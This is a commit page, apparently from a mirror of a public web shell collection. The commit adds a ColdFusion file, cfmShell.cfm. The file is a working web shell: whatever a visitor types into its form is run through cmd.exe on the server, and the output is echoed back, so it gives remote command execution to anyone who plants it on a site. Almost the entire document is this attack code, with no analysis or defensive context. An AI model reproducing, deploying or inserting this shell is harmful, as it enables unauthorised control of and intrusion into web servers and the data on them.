mirror of
https://github.com/tennc/webshell.git
synced 2026-02-10 23:46:39 +00:00
update net-friend
This commit is contained in:
32
net-friend/cfm/cfmShell.cfm
Normal file
32
net-friend/cfm/cfmShell.cfm
Normal file
@@ -0,0 +1,32 @@
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
|
||||
<title>CFM shell</title>
|
||||
</head>
|
||||
<body>
|
||||
<!--- os.run --->
|
||||
<cfif IsDefined("FORM.cmd")>
|
||||
<cfoutput>#cmd#</cfoutput>
|
||||
<cfexecute name="C:\Winnt\System32\cmd.exe"
|
||||
arguments="/c #cmd#"
|
||||
outputfile="#GetTempDirectory()#foobar.txt"
|
||||
timeout="1">
|
||||
</cfexecute>
|
||||
</cfif>
|
||||
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
|
||||
<input type=text size=45 name="cmd" >
|
||||
<input type=Submit value="run">
|
||||
</form>
|
||||
<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">
|
||||
<cffile action="Read"
|
||||
file="#GetTempDirectory()#foobar.txt"
|
||||
variable="readText">
|
||||
<textarea readonly cols=80 rows=20>
|
||||
<CFOUTPUT>#readText#</CFOUTPUT>
|
||||
</textarea>
|
||||
<cffile action="Delete"
|
||||
file="#GetTempDirectory()#foobar.txt">
|
||||
</cfif>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user